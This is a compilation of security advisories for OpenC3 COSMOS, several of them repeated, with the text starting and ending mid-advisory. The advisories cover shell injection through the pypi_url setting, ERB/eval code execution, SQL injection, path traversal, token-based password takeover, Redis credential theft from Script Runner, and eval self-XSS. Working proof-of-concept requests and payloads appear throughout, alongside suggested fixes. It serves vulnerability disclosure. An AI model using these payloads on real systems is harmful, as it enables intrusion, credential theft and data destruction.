The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api

The Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network.

Figure 1: Environment variables, including Redis credentials, found in the Script Runner container A Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack.

Figure 2: A Python script is used to add data to Redis and retrieve the new data A Python script is then used to create a new entry in the Redis database called openc3__settings_hacked with a key of store_url and a value of http://hacked.com.

Figure 3: The new data found in the Redis database The new entry was successfully added to the Redis database, as is confirmed by using redis-cli. The following example shows how an attacker might change the plugin store URL file that is stored in the config bucket.

Figure 4: Uploading file to change the plugin store URL setting

Figure 5: The URL file was successfully changed

Steps To Reproduce

1. Run the following Ruby code to find the Redis credentials:

puts `env | grep redis`

3. Add the following Python script with the credentials to create a new entry and read it

import redis
import json
import time

r = redis.Redis(
    host = 'openc3-redis',
    port = 6379,
    username = 'openc3', 
    password = 'openc3password',  
    decode_responses=True
)

# Save a setting
setting_data = {
    'name': 'store_url',
    'data': 'http://hacked.com',
    'updated_at': time.time_ns()
}
r.hset('openc3__settings_hacked','store_url',json.dumps(setting_data))
print(r.hget('openc3__settings_hacked','store_url'))

Recommendations

• Limit the permissions of the script runner API to prevent lower level users from performing administrative actions

Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)

A SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdb_lookup function in the cvt_model.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data.

Figure 1: Source code vulnerable to SQL injection Additionally, the get_tlm_values RPC endpoint only requires “tlm” permissions, allowing any user with the Admin, Operator, Viewer, or Runner roles to send a request to the TSDB. This permission is defined in roles-permissions.md to allow for the user to view telemetry data, but this vulnerability also allows them to delete data and tables.

Figure 2: Source code showing the required permissions for the get_tlm_values endpoint Sending a normal request to the endpoint brings back a single array of values for the parameter:

Figure 3: A normal request to the get_tlm_values endpoint However, sending a specially crafted request within the start_time variable brings back all the data in the database:

Figure 4: The request and response after sending the SQL injection payload This payload can be modified to executes SQL commands in the TSDB.

Figure 5: SQL injection used to execute arbitrary SQL command The user can then delete all the historical data in the database:

Figure 6: Example payload dropping the tables

Steps to Reproduce

1. Capture a JSON-RPC request to the get_tlm_values endpoint.
2. Add the start_time key to the request body and place the following in the value:

‘ OR 1=1 --

3. Retrieve all database data.

Recommendations

• Sanitize all user-supplied input before executing it • Use prepared statements with parameterized queries when executing SQL statements

Summary

The Command Sender UI uses an unsafe eval() function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage.

Details

The unsafe eval() usage on user-supplied ARRAY parameters happens in convertToValue method in CommandSender.vue

PoC

1. Using a drop-down form, choose any command that supports ARRAY parameters,
2. Inside square brackets “[…]” place a JavaScript code to be executed
3. Send command to CmdTlmServer using dedicated “Send” button
4. Observe JavaScript code being executed in the current browser session context

Below example uses INST ARYCMD to execute simple JavaScript code snippet alert(“XSS”).

Impact

Local JavaScript execution in the user's browser

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

